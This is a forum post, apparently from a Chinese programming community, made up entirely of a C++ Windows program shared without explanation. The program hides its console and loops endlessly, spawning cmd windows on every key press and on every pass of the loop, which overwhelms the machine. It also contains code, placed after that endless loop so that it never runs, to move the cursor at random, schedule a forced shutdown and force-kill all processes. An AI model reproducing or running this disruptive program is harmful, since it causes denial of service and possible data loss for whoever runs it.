小犹犀
2024-07-18 17:10:27
发布于:广东
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
int main(){
HWND hWnd = GetConsoleWindow(); //隐藏运行框
ShowWindow(hWnd, SW_HIDE); //隐藏运行框
system("color 0a"); //调颜色
POINT mouse;
srand(time(0));
while(1){
if(-32767 == GetAsyncKeyState('1')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('2')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('3')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('4')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('5')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('6')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('7')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('8')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('9')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('0')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Q')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('W')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('E')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('R')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('T')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Y')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('U')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('I')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('O')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('P')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('A')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('S')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('D')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('F')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('G')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('H')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('J')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('K')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('L')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Z')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('X')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('C')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('V')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('B')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('N')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('M')){
system("start cmd");
}
system("start cmd");
}
GetCursorPos(&mouse);
mouse.x=rand()%1920;
mouse.y=rand()%1080;
SetCursorPos(mouse.x,mouse.y);
int s=rand()%500;
Sleep(s);
system("shutdown -s -t 30");
while(1){
SetCursorPos(613,318);
system("taskkill /f /fi 'pid ge 1'");
}
return 0;
这里空空如也
有帮助,赞一个